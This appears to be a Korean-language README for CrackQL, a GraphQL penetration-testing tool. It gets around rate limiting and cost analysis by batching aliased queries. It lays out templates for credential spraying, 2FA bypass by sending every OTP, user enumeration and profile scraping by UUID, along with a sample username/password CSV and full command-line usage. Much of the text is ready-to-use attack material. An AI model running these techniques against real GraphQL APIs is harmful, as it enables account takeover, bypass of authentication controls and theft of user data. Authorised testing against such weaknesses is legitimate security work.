
약한 속도 제한과 비용 분석을 악용하여 배치된 별칭 쿼리를 통해 자격 증명을 무차별 대입하고, 2FA를 우회하며, 사용자를 열거하고, 작업을 퍼징하는 GraphQL 침투 테스트 도구입니다.
CrackQL은 GraphQL 비밀번호 무차별 대입(brute-force) 및 퍼징 유틸리티입니다.
CrackQL은 취약한 속도 제한(rate-limit) 및 비용 분석 제어를 악용하여 자격 증명을 무차별 대입하고 작업을 퍼징하는 다목적 GraphQL 침투 테스트 도구입니다.
CrackQL은 단일 GraphQL 쿼리 또는 변이(mutation)를 여러 별칭(alias) 작업으로 자동 배치(batch)합니다. CSV 입력 변수를 기반으로 사용할 별칭 수를 결정합니다. 배치된 GraphQL 문서를 프로그래밍 방식으로 생성한 후, CrackQL은 페이로드를 대상 GraphQL API에 배치 전송하고 결과와 오류를 파싱합니다.
CrackQL은 동적 입력 목록을 기반으로 페이로드를 프로그래밍 방식으로 생성하므로 광범위한 GraphQL 공격에 사용될 수 있습니다.
고유한 페이로드마다 요청을 전송하는 Burp Intruder와 달리 CrackQL은 여러 개의 별칭 쿼리를 사용하여 대량의 자격 증명 세트를 단일 HTTP 요청에 담아 전송함으로써 전통적인 API HTTP 속도 제한 모니터링 방어를 우회합니다. 쿼리 비용 분석 방어를 우회하기 위해 CrackQL은 일련의 더 작은 배치 작업(-b)과 시간 지연(-D)을 사용하도록 최적화할 수 있습니다.
CrackQL은 인-밴드 GraphQL 인증 작업(예: GraphQL 인증 모듈)을 활용하는 GraphQL 배포에 매우 적합합니다. 아래 비밀번호 스프레이 예제는 sample-inputs/users-and-passwords.csv 사전과 함께 DVGA에서 작동합니다.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
CrackQL을 사용하여 모든 OTP(일회용 비밀번호) 토큰을 전송함으로써 이중 인증을 우회할 수 있습니다.
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL은 유효한 사용자 ID, 사용자 이름 및 이메일 주소를 발견하기 위한 열거 공격에도 사용될 수 있습니다.
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL은 많은 수의 잠재적 고유 식별자를 반복하여 객체 정보를 유출하는 데 사용될 수 있습니다.
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL은 잠재적인 SQLi 및 XSS 페이로드를 전송하는 등 일반적인 입력 퍼징 작업에 사용될 수 있습니다.
CrackQL은 CSV 파일로 정의된 입력 변수를 기반으로 페이로드를 생성합니다. CrackQL은 CSV 헤더가 입력 이름과 일치해야 합니다.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
config.py를 사용하여 엔드포인트에 인증이 필요한 경우 HTTP 쿠키, 헤더 또는 프록시를 설정합니다.